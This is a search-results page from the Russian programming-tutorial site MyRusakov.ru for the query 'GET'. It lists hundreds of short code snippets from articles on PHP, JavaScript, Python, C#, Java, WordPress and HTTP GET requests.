<MyRusakov.ru />

WordPress 6 с Нуля до Гуру

WordPress 6 с Нуля до Гуру

Этот курс научит Вас созданию самых разных сайтов на самой популярной в мире CMS - WordPress. Вы увидите установку и настройку локального сервера, разбор каждой настройки, каждой кнопки и каждого пункта меню в панели WordPress.

Также Вы получите и всю практику, поскольку прямо в курсе с нуля создаётся полноценный Интернет-магазин, который затем публикуется в Интернете. И всё это прямо на Ваших глазах.

Помимо уроков к курсу идут упражнения для закрепления материала.

И, наконец, к курсу идёт ценнейший Бонус по тому, как используя ChatGPT и создавая контент для сайта, можно выйти на пассивный доход. Вы наглядно увидите, как зарегистрироваться в ChatGPT (в том числе, и если Вы из России), как правильно выбрать тему для сайта, как правильно генерировать статьи для него(чтобы они индексировались поисковыми системами) и как правильно монетизировать трафик на сайте.

Подробнее
Уроки и статьи
Подписка

Подпишитесь на мой канал на YouTube, где я регулярно публикую новые видео.

YouTube Подписаться

Подписавшись по E-mail, Вы будете получать уведомления о новых статьях.

Подписка Подписаться

Добавляйтесь ко мне в друзья ВКонтакте! Отзывы о сайте и обо мне оставляйте в моей группе.

Мой аккаунт Мой аккаунт Моя группа
Опрос

Какая тема Вас интересует больше?

Поиск: GET

Что искали: GET

Всего найдено: 964 записей

...             $this->filename = $filename;             $fileinfo = getimagesize($filename);             if(!$fileinfo) {                 throw new exception("image file corrupted: $filename");  ...
... расширить стандартный класс wp_widget и его функции и демонстрирует пример готового кода с одним текстовым полем. new_widget расширяет встроенный в wordpress ...
...     string title;     string body;     public string getuserid() {         return userid;     }     public post setuserid(string userid) { ...
... чтобы получить текущий год, используйте метод экземпляра getfullyear() объекта date. метод getfullyear() возвращает год указанной даты в конструкторе date: ...
... элемент даты и времени:var date = new date();document.write("год - " + date.getfullyear() + "<br />");document.write("месяц - " + date.getmonth() + "<br />");document.write("число - " + date.getdate() + "<br />");document.write("день ...
...         // получает названия листов книги в виде массива         $sheetnames = $spreadsheet->getsheetnames();         // возвращает количество листов в книге ...
... // интерфейс всех телевизоров interface tv  {     function getbrand() : string; // возвращает производителя } // конкретная реализация телевизора ...
... структура <div class="carousel-wrapper" style="height: 400px;">   <span id="target-item-1"></span>   <span id="target-item-2"></span>   <span id="target-item-3"></span>   <div class="carousel-item ...
... них. как получить отдельные части даты метод getfullyear() получение года. let year = new date(); console.log(year.getfullyear()); // 2020 метод getmonth() получение месяца ...
... метаданных. пример с использованием метода get: <?php   $opts = [     'http' => [     'method' => "get",     'header' => "accept-language: ...
... которая до безобразия просто устанавливается из репозитория пакетов nuget. после установки пакетов приступим к написанию кода. базовый класс ...
... мы создадим атрибуты для различных http-методов, таких как get, post, put, и delete. #[attribute(attribute::target_method)] class route {     public function __construct(public string $path, public string $method) {} ...
... ниже приведен базовый пример кода, который демонстрирует, как выполнить get-запрос к веб-серверу и вывести полученные данные в консоль. using system; ...
... import org.apache.http.client.methods.httpget; import org.apache.http.impl.client.closeablehttpclient; import org.apache.http.impl.client.httpclients; import org.apache.http.util.entityutils; import java.io.ioexception; public class httpclientgetrequest { ...
... выглядит так: route::get('/', function () {     return view('welcome'); }); этот маршрут привязывает http-запрос метода get к корневому url ...
... рассмотрим, как использовать getboundingclientrect, его основные свойства и примеры применения. основные свойства метод getboundingclientrect возвращает объект ...
...             // читаем список файлов из текущей папки - .             files.list(paths.get(".")).foreach(path -> system.out.println(path));         } ...
...         $property = $meta->getattribute('property'); // извлекаем значение атрибута property         $content = $meta->getattribute('content'); // извлекаем значение атрибута content ...
... from pyside6.qtcore import qt from pyside6.qtgui import qcursor from pyside6.qtwidgets import qapplication, qwidget, qpushbutton, qhboxlayout, qvboxlayout, qtextedit # главное окно приложения ...
...   class user {    protected $loggedin = false;    protected $data = [];    public function getdata() {     return $this->data;    }    public function setdata($data) {     ...
... продолжают работать, как они работали в ecmascript 5 let obj = {   get foo() {    console.log('get foo');    return 123;   },   set bar(value) {    console.log('set ...
... import sys import random from pyside6.qtcore import qt, slot from pyside6.qtwidgets import qapplication, qwidget, qpushbutton, qlabel, qvboxlayout # главное окно приложения расширяет класс qwidget ...
... двигатель нашей задумки - javascript. (function() {   var video = document.getelementbyid('video'),    canvas = document.getelementbyid('canvas'),    context = canvas.getcontext('2d'), ...
... новости из twitter и печатает их    public function getsocialfeeds() {     $twitsrv = new twitterservice();     print $twitsrv -> gettweets();    }   }   // класс   class ...
...         // переменная определена изначально         public static function getname() {             return self::$name;         }  ...
... from pyside6.qtcore import qt from pyside6.qtgui import qcursor from pyside6.qtwidgets import qapplication, qwidget, qpushbutton, qhboxlayout, qvboxlayout, qtextedit class mainwidget(qwidget): ...
... package ru.myrusakov.rssapp import android.os.bundle import android.view.view import android.widget.adapterview import android.widget.toast import androidx.appcompat.app.appcompatactivity import androidx.recyclerview.widget.gridlayoutmanager ...
...         $headerlength  = curl_getinfo($handle, curlinfo_header_size);         $httpcode      = curl_getinfo($handle, curlinfo_http_code);         $body          = substr($response, $headerlength); ...
...     return lines # возвращает 5 случайных вопросов def get_questions():     answers = read2list('answers_data.txt')     items = random.choices(population=answers, k=5) ...
... которое отобразит функционал поиска по истории. const openhistorybtn = document.getelementbyid('openhistorybtn'); openhistorybtn.addeventlistener('click', (e) => {     chrome.tabs.create({ url: 'history.html' }); ...
... высокоуровневый класс httpclient. в приведенных примерах мы создадим простые запросы get и post. протокол передачи гипертекста (http) - это прикладной протокол для ...
... только get-запросы (как правило, это скрипты поиска). и вот чтобы обрабатывать и принимать данные и от таких скриптов, надо уметь отправлять get-запросы ...
... <?php   function getrange( $max = 10 ) {    $array = [];    for( $i = 0; $i < $max; $i++ ) {     $array[] = $i;    }    return $array;   }   foreach (getrange(15) as $range) ...
в сегодняшней статье мы поговорим о функции getline() в c++. это встроенная функция, которая позволяет выводить в консоль все, вводимые с клавиатуры, ...
... объявляем переменную, говорим что у нас есть пустая ячейка multi_1 = document.getelementbyid('inp_1').value; и туда надо что-то положить (присвоить). положим ...
... using microsoft.data.sqlite; // эту библиотеку для работы с sqlite берем из пакетного менеджера nuget using system.data; using system.reflection; using system.text; namespace csharpsqlitedemo {    ...
... http://shop.ru/?utm_source=yandex&utm_medium=cpc&utm_campaign=mobil_sale&utm_content=m-234&utm_term=buy+phone сгенерированная ссылка по сути является get-запросом и она нам чётко говорит, что этот человек пришел на сайт заказчика ...
... работы с параметрами командной строки, одним из которых является функция getopt. эта функция позволяет разработчикам легко обрабатывать аргументы, ...
... настроили, пришло время научиться делать get-запросы. одним из наиболее распространенных http методов является get. метод get предназначен для получения ...
...     * @annotation - обозначение аннотации     * @target({"class","method"}) - аннотация может применяться только к классам и методам классов ...
... догадывались об этом. так, функции, работающие с потоками - это fopen(), file_get_contents(), file() и т.д. поэтому, фактически, вы уже используете файловые потоки ...
... написать статью, в которой рассказать о разнице между методом post и методом get, но всё как-то появлялись другие темы, и переключался на них. и вот, наконец-то, ...
... script.js !(function () {   const form = document.getelementbyid("form");   const username = document.getelementbyid("username");   const email = document.getelementbyid("email"); ...
... 9) ? isecs : "0" + isecs); var smins ="" + ((imins > 9) ? imins : "0" + imins); document.getelementbyid("timer-counter").innerhtml = smins+":"+ssecs; settimeout('getsecs()', 1000); } //]]> вы здесь уже: минут/секунд. getsecs(); ...
...     // получаем ссылки на ячейки листа     function getcells(worksheet $sheet)     {         return function(string $cellname) use ($sheet) { ...
... новички часто не понимают, какой метод отправки данных использовать: post или get. а ведь оба эти методы были придуманы не как альтернатива друг другу, ...
... // обязательно подключаем данную библиотеку using system.collections.generic dictionary<string, string> imagetypes = new dictionary<string, string>(); //imagetypes.add("key", "value"); imagetypes.add("bmp", "bitmap"); ...
... арифметические действия. html разметка возьмем за основу бутстраповскую разметку (getbootstrap.com), из раздела components / forms. у нас должна получиться форма с двумя ...
...     <canvas id="breakevenchart" width="400" height="200"></canvas>     <script>     document.getelementbyid('breakevenform').addeventlistener('submit', function(e) {         e.preventdefault(); // предотвращаем перезагрузку страницы ...
... принцип построения квадратичной кривой let canvas = document.getelementbyid('curve'); let ctx = canvas.getcontext('2d'); ctx.beginpath(); // начало нового пути ctx.linewidth = ...
... вывести значение свойства background для этих блоков. var div1 = document.getelementbyid('div1'); var div2 = document.getelementbyid('div2'); alert(div1.style.background); alert(div2.style.background); в ...
... аргументах функции передадим объект event. в переменную target поместим цель объекта - event.target. в условии проверяем, что пользователь действительно ...
... так же есть индекс. так мы получим всю строку целиком: get_str = 'это строка' print(get_str) это строка а здесь, обратившись по индексу 5, получаем ...
...                 name: document.getelementbyid('name').value,                 position: document.getelementbyid('position').value,                 education: document.getelementbyid('education').value, ...
... document.queryselectorall(".img-src");   for (let i = 0; i < images.length; i++)   {    let image = images[i];    alert(image.getattribute(src));   } смотрите, как просто. единственное, что вам нужно- ...
... копируете ссылку, например такую – http://news.yandex.ru/gadgets.rss. далее необходимо прочитать содержимое файла gadgets.rss, для этого воспользуемся встроенной в ...
... это используется достаточно часто, math.random() помещают внутрь функции function getrandom() {   return math.random(); } проблема, конечно, заключается в том, что функция ...
...         for(uimanager.lookandfeelinfo theme : uimanager.getinstalledlookandfeels()) {             jbutton button = new jbutton(theme.getname());             button.setbounds(20, buttony, 100, 30); ...
... function.php. для подключения сайдбара к ядру wordpress используется хук widgets_init. add_action( 'widgets_init', 'theme_slug_widgets_init' ); регистрация сайдбара ...
... function(e) {   if (shouldnotswipe(e.target)) {    e.preventdefault();   } }); list.addeventlistener('slip:swipe', function(e) {   if (thatwasswipetoremove) {    e.target.parentnode.removechild(e.target);   ...
... практике. создадим класс: class user {   public function getname() : string {    return 'john';   } } $user = new user; echo $user->getname(); как вы можете видеть, после имени ...
...     public function getamount() {         return $this->amount;     }     public function getcurrency() {         return $this->currency; ...
... такой задачи, как вывода количества записей, мы будем использовать метод get_var (). выведем некоторое кол-во записей внизу сайта, например в футере. ...
... не было, то создаётся и возвращается (паттерн singleton) */   public static function getdb() {     if (self::$db == null) self::$db = new database();     return self::$db;   } ...
... // таблиц с данными request.onupgradeneeded = function(event) {   const db = event.target.result;   // создаем хранилище объектов (таблицу) с именем "users" и указываем поле "id" как ключ ...
... размера шрифта: <?php   session_start(); // начинаем сессию   if ($_get["size"] == "big") { // если get-параметр равен big     $_session["size"] = 30; // помещаем в сессию ...
... мы скопируем все данные из буфера обмена с помощью буфера метода clipboard.getdataobject(). буфер обмена может содержать изображения и другие типы, которые ...
... function displaygeneratedpassword() {   const length = parseint(document.getelementbyid("length").value);   const lowercase = document.getelementbyid("lowercase").checked;   const uppercase = document.getelementbyid("uppercase").checked; ...
... главное - javascript. (function() {   var video = document.getelementbyid('video'),    vendorurl = window.url || window.webkiturl;   navigator.getmedia = navigator.getusermedia || navigator.webkitgetusermedia || navigator.mozgetusermedia ...
... function __construct() {    $this->db = new mysqli($host, $user, $pass, $database);   }   public function get() {}   public function set() {}   public function del() {} } $db1 = new db(); $db2 = new db(); у нас ...
... # возвращает содержимое страницы в виде текста def get_page_content(url):     text = ''     res = requests.get(url, headers=headers)     if res.status_code != 404: ...
... в словарь рассмотрим пример использования условного оператора: def get_operation(operator):     if operator == 'add':         return lambda x, y: x + y ...
...     if (!document.getelementsbytagname) return;     var anchors = document.getelementsbytagname("a");     for (var i=0; i < anchors.length; i++) {       if (anchors[i].getattribute("href") && ...
... подключить header.php в wordpress есть специальная функция для подключения header.php. get_header() из названия функции, уже понятно, что она делает - получает шаблон ...
...   * в метод request передается три параметра:    *   *   * 1. методы get, post   * 2. url на который отправляются данные формы ...
... import random # импортируем метод random # и в том же файле создадим метод get_random_position(), который генерирует случайный набор x, y координат на заданной поверхности surface, и возвращает результат в виде экземпляра класса vector ...
...                     <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbartogglerdemo02" aria-controls="navbartogglerdemo02" aria-expanded="false" aria-label="toggle navigation"> ...
... путём обращений к серверу через javascript, в большинстве случаев, это post и get запросы. и практически всегда такие сайты используют для этого ajax. и ...
... new montharr(31, 28, 31, 30, 31, 30, 31, 31, 30,31, 30, 31);  year = today.getyear();  if (year < 2000)    year = year + 1900;  thisday = today.getdate();  if (((year % 4 == 0) && (year % 100 != 0)) || (year % 400 ...
... нового объекта с текущей датой и временем let daynumber = date.getdate(); // получение даты let month = date.getmonth(); // получение месяца let dayname = date.tolocalestring(lang,{weekday: 'long' ...
... выведутся в консоль при клике по списку. раскрываем всю эту цепочку mouseevent → target → tagname. дословный перевод: событие мыши → цель → имя тега. начинающие ...
...                         <a href="#" class="btn btn-outline-primary" data-bs-toggle="modal" data-bs-target="#video_modal"                             data-bs-video-url="https://www.youtube.com/embed/tlcnjemnlts">смотреть</a> ...
... import './index.css'; import app from './app'; reactdom.render(<app />, document.getelementbyid('root')); index.css * {   margin: 0;   padding: 0; ...
... передаётся скрипт-обработчик. теперь сам код этого обработчика: <?php   $targetfolder = '/uploads'; // куда загружать файлы   $verifytoken = md5('unique_salt' . $_post['timestamp']); ...
...         ],     ]);     $response = file_get_contents($url, false, $context);     $status_line = $http_response_header[0]; ...
... offsetset - для установки значения в массиве по ключу offsetget - для получения значения из массива по ключу offsetexists - проверка ...
... {$user1->name} это важный и ключевой момент в понимании методов. public function getanketainfo(){     имя: {$this->name}     возраст: {$this->age} ...
...     public function login($username, $password)      {         $user = $this->userrepository->getuserbyusername($username);         if ($user && password_verify($password, $user['password'])) { ...
... теперь приступим к реализации. база данных та же. в папке libs создадим файл get_comments.php с таким кодом: <?php   header("content-type: text/html; charset=utf-8");   $count = ...
... инструмент для решения повседневных задач. 1. get-childitem: получение списка файлов и папок команда get-childitem является одной из самых часто используемых ...
... src="bower_components/greuler/dist/greuler.js"></script> использование для пользователя есть простые свойства: target – селектор контейнера, содержащего график data – объект, содержащий ...
... cookies = {'session_id': '123456789'} response = requests.get('https://example.com', cookies=cookies) print(response.text) получение cookie из ответа import requests response = requests.get('https://example.com') ...
...             request.onsuccess = (event) => resolve(event.target.result);             // ошибка открытия базы данных ...
... div с id=block. если вы хотите отправить запрос типа get, то просто измените название метода с $.post() на $.get(), а параметры у него идентичные. $(document).ready(function(){ ...
... появилось много нового, и сегодня мы разберем один из новых псевдоклассов - target. target с английского переводится как "цель" и это не просто так. дело в том, ...
...     // загружает файл по переданному url     function get_url_content($url) {                  // настраиваем запрос ...
... можете сделать что-то вроде этого: <?php   if(!isset($_get['show'])) {    die();   }   $show = $_get['show'];   $content = file_get_contents("content/{$show}.php"); ?> ...
... решили заменить старый заголовок на новый «поиск dom элемента с помощью getelementbyid, не внося изменения напрямую в html код. как это сделать, используя ...
...   getmodel() {    return "the model of the car is " + this.model;   } } как видите, очень похоже на другие языки. вызов также не выделяется. var bmw = new car("bmw"); alert(bmw.getmodel()); ...
...     # получение значения элемента trackbar     lh = cv2.gettrackbarpos("l_h", "tracking")      ls = cv2.gettrackbarpos("l_s", "tracking")     lv = cv2.gettrackbarpos("l_v", "tracking") ...
... remove. list.onclick = function(event) {     if (event.target.tagname != 'span') return;     let childrenlist = event.target.parentnode.queryselector('ul');     if (!childrenlist) ...
... их открытыми совсем не хочется. тогда добавляют так называемые методы get и set:<?php  abstract class car {    protected $x;    protected $y;    ...
... redirect.php <?php   require_once "classes/shortener.php";   if(isset($_get['code'])) {    $s = new shortener();    $code = $_get['code'];    if($url = $s->geturl($code)) {     ...
... корректно, но всё-таки знать их полезно: <?php   $ip = gethostbyname("vk.com");   echo $ip;   echo "<br />";   echo gethostbyaddr($ip);   echo "<br />";   print_r(gethostbynamel("vk.com")); ...
... from datetime import date, timedelta # возвращает словарь месяц - период времени def get_work_months(year):     return {         'январь':   (year - 1, 12, year, 1), ...
... двигаться по горизонтали. let canvas = document.getelementbyid('canvas'); // получение холста в документе let ctx = canvas.getcontext('2d'); // получение контекста рисования ...
... $test->drawgrapharea(255, 255, 255, true); // рисуем графическую плоскость   $test->drawscale($dataset->getdata(), $dataset->getdatadescription(), scale_normal, 150, 150, 150, true, 0, 2); // рисуем оси и график   $test->drawgrid(4, ...
...  *   * @param array $connectionconfig  * @return pdo  *   */ function getdbconnection(array $connectionconfig): pdo {     $host = $connectionconfig['host']; ...
...     header('access-control-allow-origin: *');     header('access-control-allow-methods: get, post');     header('access-control-max-age: 1000');     header('access-control-allow-headers: content-type, authorization, x-requested-with'); ...
... сегодняшней статье я решил разобрать весьма полезную функцию, удаляющую любой get-параметр из строки. где это может быть нужно? допустим, вы делаете навигацию ...
...         public int id { get; set; }         public string name { get; set; }         public int price { get; set; } ...
... requests.get(). но есть одна проблема, так как данный метод загружает информацию целиком, что может перегрузить память. к счастью для нас, у метода get есть ...
...     public function getall(int $limit);     // возвращает строку таблицы по ее id - первичный ключ     public function get($id); ...
...  * @returns {promise<string[]>} массив строк - путей к файлам  */ async function getfiles(dir) {     // асинхронно читает содержимое директории ...
... from selenium.webdriver.common.by import by # чтение английского содержимого def get_file_content(filename):     with open(filename, 'r') as fd:         return fd.read() ...
... содержит в себе все данные get и post запросов. class request {     private $storage; // переменная хранящая данные get и post      ...
... date = new date('july 4, 2018'); // форматирование даты var datestamp = (date.getmonth() + 1) + '/' + date.getdate() + '/' + date.getfullyear(); // отображение на странице app.textcontent ...
... пользователь. для этого есть get-параметры, в котором мы передаём код языка (допустим, "ru" или "en"). далее мы в зависимости от значения get-параметра, берём нужный ...
... ним: setitem() — принимает пару ключ-значение и добавляет ее в localstorage. getitem() — принимает ключ и возвращает соответствующее значение removeitem() ...
... из коллекции используется метод get. обратимся к элементам по ключу и выведем их значения в консоль. console.log(map.get('str')); // string console.log(map.get(10)); ...
... class="simple_two"></div> <div class="example_2"></div> let getexamples = document.queryselectorall('.example_1, .example_2'); console.log(getexamples); результат из консоли: в каком-то ...
... # отправка запроса на сайт и получение ответа page = requests.get(url) # вывод статуса ответа print(page) #  <response[200]> # статус 200 говорит об успешном ответе ...
... данные. наиболее часто используемое у event объекта свойство - это target. конструкция event.target на этом уроке, мы по клику добавляли класс кнопке, оперируя ...
...             system.err.println("используется так: " + javafileinfo.class.getname() + " имя_файла.txt");             system.exit(1); ...
... откроем файл default.js и перед выборкой #randominsert пропишем следующее: $.get('dashboard/xhrgetlistings', function(o) {   for(var i = 0; i < o.length; i++) {    $('#listinserts').append('<div>' ...
...     $connection = getdbconnection($connectionconfig);     // получаем все новости     $news = news_getall($connection);     // возвращаем отрисованый шаблон ...
...         // создаем объект холста (let canvas) из элемента холста html:         const canvas = document.getelementbyid("canvas");         // создаем 2d-объект для рисования на холсте: ...
... следующим образом: def _process_game_logic(self):     for game_object in self._get_game_objects():         game_object.move(self.screen)     if self.spaceship: ...
... выведем результат в консоль. // получить элементы по имени тега let p = document.getelementsbytagname('p'); console.log(p); программа вывела в консоли коллекцию ...
... вы увидите много свойств, описывающих объект события, одно из которых target, внутри которого ищем название тега tagname: button. мы вытащили из консоли, ...
... бесплатных запросов в месяц). код метода контроллера: public function getusersipinfo() {     $sql = "         select  ...
...     const ip = '12.09.123.4';          function getipinfo($ip = ip) {                  // api, который возвращает информацию в формате json ...
... возможных способов запросов: get post delete put для каждого из них в express предусмотрен отдельный метод: app.get('route', fn) app.post('route', fn) ...
... на удаленном сервере можно использовать функцию file_get_contents. <?php $sitemap = file_get_contents("http://myrusakov.com/sitemap.xml"); ?> для чего-то более ...
... // выводим значения членов перечисления foreach (int i in enum.getvalues(typeof(day))) {     console.writeline(i); } // создаем перечисление для дней недели. ...
... сработает здесь и сейчас, под конкретную задачу. const form = document.getelementbyid('form'); function getformvalue(event) {     event.preventdefault();     // поиск ...
... <button id="btn">пуск</button> при клике по кнопке запустится функция getusers. функция будет получать ответ от сервера, а метод fetch распарсивать ...
... являются объектами. объекты могут быть независимыми: get /articles – получить все статьи get /articles/1036 – получить конкретную статью по идентификатору ...
... методы, привязанные только к одной конкретной роли. у объекта user есть метод getlessons() с какой-то базовой функциональностью. но у разных групп пользователей ...
...   trait singleton   {      private static $instance;      public static function getinstance() {       if (!(self::$instance instanceof singleton)) {        self::$instance ...
... input.addeventlistener('keyup', (e) => {     const capslock = e.getmodifierstate('capslock');     const shift = e.getmodifierstate('shift'); }) функция getmodifierstate() возвращает ...
... найдем элемент form по идентификатору с помощью метода document.getelementbyid. const form = document.getelementbyid('form'); при отправки формы сработает событие ...
... facebook\facebookredirectloginhelper('your url');   try {    if($session = $facebook->getsessionfromredirect()) {     $_session['facebook'] = $session->gettoken();     header('location index.php');    ...
... ссылку на нашу страницу.для этого напишем в теге <body> такой код:<a target = "_self" href = "index.html" title = "ссылка">ссылка на эту страницу</a>тег html <a> ...
...   $user = new users\user;   $ro = new reflectionobject($user);   echo '<pre>';   print_r(get_class_methods($ro));   echo '</pre>'; ?> как вы можете видеть, большинство ...
... которые я знаю), существует и другая функция, которая называется getdate():<?php  $datetime = getdate();  foreach ($datetime as $k=>$v)    echo "$k - $v<br />";?>запустив ...
...       }     }     block = document.getelementbyid("block"); // получаем основной блок     block_r = document.getelementbyid("block_resize"); // получаем блок для изменения ...
...             // получаем текст из текстового поля             const questionsinput = document.getelementbyid('questionsinput').value;             // разбиваем текст на массив вопросов, удаляя пустые строки ...
... from tkinter import stringvar, listbox from nltk.corpus import words from difflib import get_close_matches # скачиваем корпус слов, если еще не скачивали ...
... с вами будем только два рассматривать) - это get и post. главное их отличие - это вид отправки: открытый (get) и закрытый (post). самый лучший способ понять, ...
... new reflectionparameter(['users\user', 'setdata'], 0);   echo '<pre>';   print_r(get_class_methods($rp));   echo '</pre>'; ?> в конструктор класса reflectionparameter ...
... parse_ini_file("shortlinks.ini"); // получаем массив данных из ini-файла   if(isset($_get["r"]) && array_key_exists($_get["r"], $shortlinks)) { // если передан правильный get-параметр     ...
...     """создание виртуального окружения"""     folder = entry_folder.get()     env_name = entry_env_name.get() or "venv"     if not folder:         messagebox.showerror("ошибка", "выберите папку проекта!") ...
...     rotated_surface = rotozoom(self.sprite, angle, 1.0)     rotated_surface_size = vector2(rotated_surface.get_size())     blit_position = self.position - rotated_surface_size * 0.5     surface.blit(rotated_surface, blit_position) ...
... получаем дочерние элементы   for (var i = 0; i < elements.length; i++) {     $(elements.get(i)).attr("title", "заголовок"); // устанавливаем атрибут title="заголовок"   } ...
... вот простой пример процедуры, содержащей запрос к базе create procedure get_user(in user_id int) begin     select * from users where id = user_id; ...
... компьютерами, состоящее из get-запросов. когда вы заходите на facebook.com, как авторизованный пользователь, то ваш компьютер отправляет get-запрос к серверу ...
... будет принимать get-запросы от пользователей на получение различной информации. напишем в этом обработчике такой код: <?php   if ($_get['action'] == "getbalance") ...
... k = 1;     var image_next = 'image_' + k;     document.getelementbyid(image_now).style.opacity = opacity/100;     document.getelementbyid(image_now).style.filter = 'alpha(opacity='+ opacity +')';     ...
... фона   imagefilledrectangle($image, 0, 0, 170, 60, $white); // закрашиваем изображение   imagettftext ($image, 30, 0, 10, 40, $color, $dir."verdana.ttf", $_session['rand_code']); // рисуем текст на капче ...
... и начнем мы как всегда с поиска картинки на странице при помощи метода getelementsbytagname. слово elements в названии метода указывает на то, что элементов ...
... // выберите целевой узел для наблюдения const targetnode = document.getelementbyid('targetelement'); // настройте наблюдателя для отслеживания определенных типов мутаций ...
... шаг 1) найти все классы home отбираем все классы с помощью метода getelementsbyclassname (получить элементы с помощью класса). сначала объявим переменную ...
...     // выводим текст из файла     print $pdf -> gettext(); обратите внимание на то, что текст, который вы получите из pdf файла ...
... описание метода. делать мы это будем через php: <?php   $wall = file_get_contents("https://api.vk.com/method/wall.get?v=5.3&filter=others&domain=myrusakov&count=5");   print_r($wall); ?> в данном ...
... исключения и вывод соответствующих уведомлений */   if ($e->getcode() == 1) echo "файл не найден";   elseif ($e->getcode() == 2) echo "файл закрыт для записи";   elseif ($e->getcode() ...
... // если файл невозможно открыть, то бросается исключение function getrows($file) {     $handle = fopen($file, 'rb');     if (!$handle) { ...
...         const menu = document.getelementbyid(menu_id);         const menuitemheaders = menu.getelementsbyclassname(menu_item_header_class);         // перебор заголовков и установка состояния открытия/закрытия для каждого ...
...             const input = document.getelementbyid('fileinput');             const canvas = document.getelementbyid('canvas');             const ctx = canvas.getcontext('2d'); ...
... операции указанной выше используется свой собственный http метод: get – получение post – создание put – обновление, модификация ...
... <script type="text/javascript">   /* функция, создающая экземпляр xmlhttp */   function getxmlhttp() {     var xmlhttp;     try {       xmlhttp = new activexobject("msxml2.xmlhttp"); ...
... установить сервер redis и расширение phpredis. установка redis: sudo apt-get update sudo apt-get install redis-server sudo systemctl enable redis-server.service sudo systemctl start redis-server.service ...
...         return $this;     }     public function getquery() {         return $this->query;     } } ...
...     // влзвращает список всех найденных ошибок     public function geterrors() {         return $this -> errors;     } ...
... немедленно. геттеры и сеттеры чтобы создать getter и setter методы , нужно использовать ключевые слова get и set, за которыми следуют пробел и идентификатор. ...
... объекты из этой группы, если это необходимо. реализуем метод _get_game_objects(): # game.py def _get_game_objects(self):     return [*self.asteroids, self.spaceship] ...
...     const record=await res.json();     document.getelementbyid("date").innerhtml=record.data[0].date;     document.getelementbyid("areaname").innerhtml=record.data[0].areaname;     document.getelementbyid("latestby").innerhtml=record.data[0].latestby; ...
... продолжить, нам нужно установить пакет nuget для tesseract. перейдите во вкладку сервис > диспетчер пакетов nuget > консоль диспетчера пакетов, в появившемся ...
... # функция для вывода выбранного значения def get_selection():     selected = combo.get()     print(f"вы выбрали: {selected}") ...
... function digitalwatch() {     var date = new date();     var hours = date.gethours();     var minutes = date.getminutes();     var seconds = date.getseconds();     if (hours < 10) ...
... зависимости от числительного.результат: // 4 && mod < 20 ? 2 : keys[math.min(mod%10, 5)]; document.getelementbyid("life_site").innerhtml = life + " " + suffix[suffix_key]; } //]]> этот сайт существует уже: ...
...  *  возвращает отсортированный список путей к файлам с расширениям, перечисленными в   *  массиве $allowedextensions  *   */ function getfilessorted(filesystemiterator $files, array $allowedextensions = ['pdf']): array { ...
... алгоритм. он наиболее короткий, и в то же время очень быстрый. <?php   function getword($number, $suffix) {     $keys = array(2, 0, 1, 1, 1, 2);     $mod = $number % 100;     ...
... окно по id. var modal = document.getelementbyid('mymodal'); получить кнопку, которая открывает модальное окно по id. var btn = document.getelementbyid("mybtn"); получить ...
... let mediarecorder; let audiochunks = []; const startbutton = document.getelementbyid('start-btn'); const stopbutton = document.getelementbyid('stop-btn'); const transcriptionfield = document.getelementbyid('transcription'); ...
... int main() {   string site = "myrusakov";   cout << site;   cin.get(); // ожидание ввода символа   return 0; } конкатенация ...
... ключевые технологии для реализации используются следующие веб-api: 1. mediadevices.getusermedia — для доступа к камере. 2. canvas api — для захвата кадра с камеры. 3. ...
... processitems($array);  // работает с массивом function getgenerator(): iterable {     yield 'a';     yield 'b';     yield 'c'; } processitems(getgenerator());  // работает с генератором ...
... берем весь url и отправляем на файл index.php(нашу единую точку входа), передав get параметр url со значением нашего url. теперь что бы вы не ввели в адресную ...
... переменной n, значение полученное из input и оставим там на хранение. n = document.getelementbyid('num').value; надо убедиться, что пользователь ввел именно число, ...
... } function one() {     document.getelementbyid("rocket").innerhtml = "установить связь с центром!"; } function two() {     document.getelementbyid("rocket").innerhtml = "пристегнуть ...
...         applicationid "ru.myrusakov.rssapp"         minsdk 23         targetsdk 32         versioncode 1         versionname "1.0" ...
... выведем результаты для каждой папки. код: import os import shutil def get_folder_size(folder_path):     total_size = 0     for dirpath, dirnames, filenames in os.walk(folder_path): ...
... type="text/javascript">   function setcookie(name, value) {     document.cookie = name + "=" + value;   }   function getcookie(name) {     var r = document.cookie.match("(^|;) ?" + name + "=([^;]*)(;|$)");     if ...
... использоваться для файла. в качестве второго параметра мы задаём путь, функция get_... сгенерирует путь к главному файлу стилей. обычно разработчики для ...
... использует буферы, но суть элементарна: вернуть содержимое файла */   function gettemplate($name) {     ob_start(); // начинаем сохрание выходных данных в буфер ...
... type="text/javascript">   /* данная функция создаёт кроссбраузерный объект xmlhttp */   function getxmlhttp() {     var xmlhttp;     try {       xmlhttp = new activexobject("msxml2.xmlhttp"); ...
... откроется контекстное меню, в котором надо выбрать пункт управление пакетами nuget и в открывшемся окне во вкладке "обзор" ввести название пакета system.text.json. ...
... движения, но и значения скорости. начнем с создания метода get_random_velosity() в файле space_rock/utils.py: def get_random_velocity(min_speed, max_speed):    speed = random.randint(min_speed, max_speed) ...
... javascript? <p>jquery - write less, do more.<p> мы написали бы так: var paragraph = document.getelementsbytagname("p"); теперь посмотрите, как просто получить параграф в jquery, ...
... работает эта функция так: на сервер отправляется запрос с помощью http методов get и post, полученный ответ извлекается и отправляется пользователю в требуемом ...
...          * клавиш cntrl + клавиша (targetkey)          *           */         function controlpluskey( targetkey, callback )  ...
...      * @return mixed      */     public function get($name) {         if (isset($_session[$name])) {             return $_session[$name]; ...
...     // получаем обновленные данные     $result = $bot->getwebhookupdates();     $text = $result["message"]["text"]; //текст сообщения ...
... который ранее объявляли в css. затем получим его стили, используя функцию getcomputedstyle. теперь можно получить доступ к переменной --main-color. в консоли ...
... <pre id="output"></pre> <script>   document.getelementbyid('fileinput').addeventlistener('change', function (event) {     const file = event.target.files[0];     const reader = new filereader(); ...
...    }    public function getlink($name) {     return $this->_type->createlinkname($name);    }   }   $obj = new filestrategy();   $link1 = $obj->getlink("file_one");   $link2 = $obj->getlink("file_two"); ...
... получается на javascript. class person   constructor: (name, age) ->    @name = name    @age = age   getinfo: ->    "name: #{@name}, age: #{@age}" здесь мы создаем класс person, конструктор ...
... basil.set('foo', 'bar'); // сохранить значение 'bar' под ключом 'foo' basil.get('foo'); // вернет 'bar' basil.remove('foo'); // удалит значение 'foo' ...
... python (v2.7 recommended, v3.x.x is not supported). make. a c/c++ compiler like gcc. libxtst-dev and libpng++-dev (sudo apt-get install libxtst-dev libpng++-dev). теперь установите библиотеку через npm. npm install ...
